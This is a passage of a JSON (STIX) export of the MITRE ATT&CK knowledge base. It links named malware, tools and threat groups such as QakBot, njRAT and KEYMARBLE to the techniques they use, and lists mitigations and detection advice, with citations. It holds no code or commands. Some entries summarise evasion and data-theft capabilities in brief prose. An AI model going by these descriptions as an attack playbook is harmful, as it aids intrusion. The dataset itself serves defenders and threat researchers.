2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.135Z","description":"[PUNCHTRACK](https://attack.mitre.org/software/S0197) scrapes memory for properly formatted payment card data.(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14612b22-b271-4e93-8f66-d86ce8e10c29","type":"relationship","created":"2020-03-19T13:11:25.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Net","url":"https://support.microsoft.com/en-us/help/556003","description":"Microsoft. (2017, February 14). Net Commands On Windows Operating Systems. Retrieved March 19, 2020."}],"modified":"2020-03-19T13:14:50.687Z","description":"[Net](https://attack.mitre.org/software/S0039) commands used with the /domain flag can be used to gather information about and manipulate user accounts on the current domain.(Citation: Microsoft Net)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1461fa53-bc4f-4ae5-b131-3f6058e6a72a","type":"relationship","created":"2020-06-23T18:34:17.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-07T19:43:49.850Z","description":"Anti-virus can be used to automatically quarantine suspicious files. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14639d10-6371-4e84-a637-a0e5846cb053","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.665Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) can obtain a list of running processes on the system.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1469ff36-c655-4513-8ffa-81dcb55c4ae6","type":"relationship","created":"2019-06-21T14:29:50.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-07-14T19:49:47.589Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--146d6cb5-c6a6-4255-af7b-8c671c1b6fd0","created":"2023-09-08T16:02:48.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:34:15.606Z","description":"Monitor for API calls (such as those from `wlanAPI.dll`) that may gather details about locally reachable Wi-Fi networks.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14702113-ddd7-4898-902a-aeb884b26266","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","source_name":"FireEye APT10 Sept 2018"}],"modified":"2019-09-03T18:50:16.893Z","description":"(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1477187e-7bd8-4622-8c2d-e5978c1fd29f","type":"relationship","created":"2019-01-30T17:13:11.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"}],"modified":"2019-04-22T22:36:52.935Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can deobfuscate the main backdoor code.(Citation: ClearSky MuddyWater Nov 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--147b8bb5-ca4e-455e-a5b9-f0ab118c67eb","type":"relationship","created":"2019-07-18T21:16:43.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.233Z","description":"Ensure proper system and access isolation for critical network systems through use of group policy.","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--147cd553-fd25-46ea-83ed-594cdb82c440","created":"2023-02-14T18:29:52.943Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T18:29:52.943Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can retrieve a list of user accounts and usernames from an infected machine.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--147d2e66-25de-42ea-8592-eb51333f595c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2019-06-24T17:08:51.596Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) is capable of taking screenshots.(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--147e009d-48db-40bc-999c-70aa1e770a0c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Remsec IOCs","description":"Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"},{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"},{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.754Z","description":"[Remsec](https://attack.mitre.org/software/S0125) is capable of listing contents of folders on the victim. [Remsec](https://attack.mitre.org/software/S0125) also searches for custom network encryption software on victims.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1484867d-1e7f-488d-a05d-137254c3334d","created":"2022-03-30T14:26:51.844Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected deletion of an active directory object, such as Windows EID 5141.","modified":"2022-04-28T14:56:13.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9085a576-636a-455b-91d2-c2921bbe6d1d","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1489621a-59eb-42a9-b529-adc37c65520c","type":"relationship","created":"2021-03-08T18:27:58.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-08T18:27:58.799Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) has called various native OS APIs.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1489f01c-fe49-4332-99e2-d72c487403b6","type":"relationship","created":"2020-07-23T14:20:48.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-08-19T16:31:40.707Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has gathered operating system information.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--148cea73-07d4-4913-ab89-a1edd112253f","created":"2023-03-22T13:07:29.858Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T13:07:29.858Z","description":"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set and are allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.","relationship_type":"detects","source_ref":"x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--148d82d9-c55b-4ce4-adb2-79387dab01ab","type":"relationship","created":"2019-04-17T13:30:22.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2019-06-28T15:05:34.043Z","description":"(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--148f4700-9a24-4729-af76-5ff9eafb997c","type":"relationship","created":"2021-01-11T20:55:32.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}],"modified":"2021-01-11T20:55:32.817Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) has been spread in phishing campaigns using malicious web links.(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1492575f-9e3d-4ba0-ae2d-66711120adf6","type":"relationship","created":"2021-01-07T20:28:30.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JoeSecurity Egregor 2020","url":"https://www.joesandbox.com/analysis/318027/0/html","description":"Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."}],"modified":"2021-01-07T20:28:30.077Z","description":"[Egregor](https://attack.mitre.org/software/S0554) can perform a long sleep (greater than or equal to 3 minutes) to evade detection.(Citation: JoeSecurity Egregor 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1495ec37-a51f-4a50-8c01-427d7c4bb009","type":"relationship","created":"2020-11-19T18:31:08.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}],"modified":"2020-11-19T18:31:08.641Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can use TLS in C2 communications.(Citation: Zscaler Bazar September 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--149a056e-9061-4345-a46a-c1f73653d16a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINERACK](https://attack.mitre.org/software/S0219) can enumerate processes.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--149d6bae-0322-40b2-a361-e0d94db0601e","type":"relationship","created":"2022-03-25T16:21:29.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T16:21:29.189Z","description":"[Flagpro](https://attack.mitre.org/software/S0696) can check the name of the window displayed on the system.(Citation: NTT Security Flagpro new December 2021) ","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--149f62ba-b5c1-4dcb-b677-a45b72cf5d7b","type":"relationship","created":"2020-03-20T17:30:56.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2020-03-20T17:30:56.508Z","description":"[jRAT](https://attack.mitre.org/software/S0283) has been distributed as HTA files with VBScript.(Citation: Kaspersky Adwind Feb 2016)\t","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--149fbbae-8c2e-4391-bb93-47375d4a68be","type":"relationship","created":"2021-10-11T18:29:51.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.310Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can use the GetKeyboardLayout API to check if a compromised host's keyboard is set to Persian.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14a0804b-1b76-43e1-8fe5-96962b1da942","type":"relationship","created":"2020-01-15T16:25:22.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-15T16:25:22.518Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14a2bfd9-8be1-47f9-bced-b05ba2179eb5","type":"relationship","created":"2019-06-05T17:05:57.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.405Z","description":"[njRAT](https://attack.mitre.org/software/S0385) gathers information about opened windows during the initial infection.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14a683fd-aa9f-4596-a0e1-5e7ae4c2e4eb","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14a8d0df-a875-45ed-be76-c671c1771179","type":"relationship","created":"2021-09-30T13:20:52.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.775Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use GetProcAddress to help delete malicious strings from memory.(Citation: ATT QakBot April 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14a9f873-cb86-4238-b6c6-8b0836512fdc","created":"2019-01-29T21:47:53.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Micropsia June 2017","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html"},{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.924Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) searches for anti-virus software and firewall products installed on the victim’s machine using WMI.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--14ab71d4-a158-41f2-82d4-c70f3121fa11","created":"2022-04-15T19:25:32.243Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has deployed a modified version of Invoke-Ngrok to expose open local ports to the 